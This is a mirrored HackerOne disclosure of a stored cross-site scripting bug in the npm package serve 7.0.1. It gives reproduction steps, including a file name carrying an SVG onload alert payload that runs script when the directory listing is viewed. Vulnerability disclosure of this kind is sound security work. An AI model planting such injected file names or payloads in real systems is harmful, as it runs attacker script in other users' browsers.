Skip to content
XSS Disclosed report Beginner

[serve] Stored XSS in the filename when directories listing

tungpun Follow

Originally disclosed on HackerOne

Medium 5.5 View original
  • Triaged in 32 hours
  • Fixed in 5 months
  • Disclosed after 5 months

I would like to report a Stored XSS issue in module serve It allows executing malicious javascript code in the user's browser.

Module

module name: serve version: 7.0.1 npm page: https://www.npmjs.com/package/serve

Module Description

Assuming you would like to serve a static site, single page application or just a static file (no matter if on your device or on the local network), this package is just the right choice for you.

It behaves exactly like static deployments on Now, so it's perfect for developing your static project. Then, when it's time to push it into production, you deploy it.

Furthermore, it also provides a neat interface for listing the directory's contents

Vulnerability

Steps To Reproduce:

  • Install the module

$ npm i serve

  • Run

$ ./node_modules/serve/bin/serve.js

  • In the target directory, create a file with name "><svg onload=alert(3333333);

bash$ touch '"><svg onload=alert(3333333);'

serve.png
serve.png From the original on HackerOne

Supporting Material/References:

  • macOS High Sierra 10.13.4
  • node v8.10.0
  • npm 6.1.0
  • Chrome Version 66.0.3359.139 (Official Build) (64-bit)

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

It allows executing malicious javascript code in the user's browser.

The hacker selected the Cross-site Scripting (XSS) - Stored weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:

URL http://127.0.0.1:3000/

Verified Yes

The original report as published on HackerOne, by tungpun. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A medium-severity XSS bug in serve, rated CVSS 5.5. HackerOne made it public on 19 October 2018.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by tungpun

View all

11 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.